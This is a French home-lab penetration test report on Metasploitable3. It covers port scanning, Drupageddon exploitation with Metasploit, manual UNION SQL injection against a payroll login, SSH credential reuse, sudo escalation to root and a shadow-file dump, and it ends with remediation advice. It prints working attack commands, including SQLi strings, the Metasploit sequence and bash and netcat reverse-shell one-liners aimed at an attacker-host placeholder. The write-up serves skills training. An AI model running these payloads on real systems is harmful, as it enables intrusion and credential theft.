
Rapport de test d'intrusion en laboratoire domestique sur Metasploitable3 couvrant la reconnaissance Nmap, l'RCE Drupalgeddon, l'injection SQL, la réutilisation d'identifiants SSH, l'escalade de privilèges sudo et les reverse shells.
Auteur : Arlen Fortunato
Date : Septembre 2026
Environnement : Parrot OS (attaquant) → Metasploitable3 Ubuntu 14.04 (cible)
Périmètre : Test d'intrusion réseau complet — énumération, exploitation, élévation de privilèges, post-exploitation
Type : Home Lab / Entraînement Capture The Flag
⚠️ Tous les identifiants ci-dessous sont masqués. Il s'agissait d'un exercice légal en home lab isolé.
| Outil | Rôle |
|---|---|
| Nmap | Scan de ports, détection de services/versions, empreinte OS |
| Metasploit (msfconsole) | Exploitation (CVE-2014-3704), gestion de sessions |
| msfvenom | Génération de payloads (reverse shells bash/netcat) |
| nc (netcat) | Écoute de reverse shell |
| curl / sed | Création manuelle de SQLi + formatage de sortie HTML |
| ssh / scp | Accès distant, validation d'identifiants |
| openssl s_client | Vérification de service TLS/SSL |
| gobuster | Brute-force de répertoires (énumération web) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
OS : Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
Vulnérabilité : UnrealIRCd 3.2.8.1 a historiquement été distribué avec un binaire trojanisé qui exécute des commandes arbitraires lorsqu'un client non authentifié envoie une chaîne de déclenchement avant l'enregistrement — RCE en tant qu'utilisateur du démon IRC.
Tentative d'exploitation : Module Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor avec les payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. La vérification automatique du module a signalé le service comme vulnérable ; aucune session retournée avec aucun payload.
Dépannage effectué :
nc -vz)openssl s_client)nc retournant l'erreur de protocole IRC 451 — commande interprétée comme commande IRC, jamais exécutéeConclusion : La bannière de version indique le build vulnérable, mais la backdoor est absente dans cette instance (binaire propre/recompilé). Classé non exploitable — faux positif, avec preuves.
Vulnérabilité : Drupal 7.x avant 7.32 contient une injection SQL critique dans la couche d'abstraction de base de données permettant l'exécution de code à distance non authentifiée.
Confirmation de version : CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
Exploitation :
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
Résultat :
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
Énumération post-exploitation :
/var/www/html : chat/, drupal/, payroll_app.php, phpmyadmin//home : 16 comptes utilisateursVulnérabilité : Formulaire de connexion payroll_app.php, injection SQL dans le champ mot de passe. Aucune automatisation utilisée — créée via curl.
Étape 1 — Contournement d'authentification :
' or 1=1#
' ferme la chaîne SQL, or 1=1 force la condition à vrai, # commente le guillemet restant.
Étape 2 — Nombre de colonnes + mappage d'affichage :
' UNION SELECT null, null, null, null# -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4# -- markers: 1=Username, 2=First, 3=Last, 4=Salary
Étape 3 — Énumération d'information_schema :
| Question | Réponse |
|---|---|
| Version BDD / utilisateur | MySQL 5.5.62, root@localhost |
Étape 4 — Dump (mots de passe masqués) :
' UNION SELECT username, password, salary, null FROM users#
Chemin 1 — Compte par défaut : paire d'identifiants vagrant par défaut authentifiée via SSH → utilisateur dans le groupe sudo avec (ALL : ALL) NOPASSWD: ALL.
Chemin 2 — Réutilisation d'identifiants : identifiants récupérés depuis le dump SQLi authentifiés directement via SSH en tant qu'autre utilisateur du lab (luke_skywalker, groupe sudo, (ALL : ALL) ALL).
Signification : démontre la réutilisation d'identifiants entre services — identifiants applicatifs mappés à un compte système.
vagrant → sudo -l affiche NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).Aucun exploit local nécessaire — les deux comptes disposent de droits sudo excessivement permissifs.
sudo cat /etc/shadow
16 hashes md5crypt ($1$) extraits — collecte complète d'identifiants après élévation de privilèges.
Payload 1 — bash :
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Capturé sur nc -lnvp 4444 → shell interactif.
Payload 2 — netcat (named-pipe) :
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
Capturé sur nc -lnvp 4445 → shell interactif.
Mécanisme : le named pipe (FIFO) fait le pont entre stdin/stdout de netcat et /bin/sh, formant un tunnel bidirectionnel sur un seul socket ; le FIFO est nettoyé ensuite.
Tous les tests ont été effectués exclusivement dans un home lab isolé utilisant des logiciels intentionnellement vulnérables (Rapid7 Metasploitable3). Aucun système de production ni cible non autorisée n'a été sollicité. Ce rapport est destiné à des fins éducatives et au développement personnel de compétences uniquement.
| Port | État | Service | Version |
|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL (unauthorized) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
| # | Vulnérabilité | CVE / Type | Port | Sévérité | Résultat |
|---|
| 1 | Empreinte de version UnrealIRCd — sonde de backdoor | CVE-2010-2075 | 6697 | ⚠️ Faux positif | Vérification automatique du module réussie, sonde manuelle échouée — backdoor absente du build |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Critique | Shell Meterpreter en tant que www-data |
| 3 | Application de paie — SQLi UNION (manuelle) | Injection manuelle | 80 | 🔴 Critique | Dump complet de la BDD (15 utilisateurs, mots de passe en clair — masqués) |
| 4 | SSH — identifiants par défaut + réutilisés | Par défaut / réutilisation d'identifiants | 22 | 🔴 Critique | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | Élévation de privilèges (deux chemins) | Sudo mal configuré | N/A | 🔴 Critique | root via les deux comptes |
| 6 | Dump du shadow | Post-exploitation | N/A | 🔴 Critique | 16 hashes md5crypt extraits |
| 7 | Reverse shells (bash + netcat) | msfvenom / création manuelle | 4444/4445 | 🟠 Élevée | Shells interactifs capturés sur l'écouteur de l'attaquant |
| Bases de données | information_schema, drupal, mysql, payroll, performance_schema |
Tables dans payroll | users |
Colonnes dans users | username, first_name, last_name, password, salary |
| Nom d'utilisateur | Mot de passe | Salaire |
|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 autres comptes) | [REDACTED] | — |
| Vulnérabilité | Recommandation |
|---|
| Empreinte de version UnrealIRCd | Vérifier l'intégrité de la source du binaire (checksums) ; mettre à jour ou supprimer |
| Drupal 7.5 | Mettre à jour vers la dernière version stable ; appliquer SA-CORE-2014-005 |
| SQLi application de paie | Requêtes paramétrées / requêtes préparées ; valider les entrées |
| Identifiants SSH par défaut | Renouveler/supprimer les comptes par défaut ; imposer l'authentification par clé |
| Sudo excessif | Appliquer le moindre privilège ; supprimer les autorisations NOPASSWD globales |
| Réutilisation d'identifiants | Imposer des mots de passe uniques par service ; politique de mots de passe |
| Hachage de mots de passe faible | Migrer md5crypt → bcrypt / Argon2id |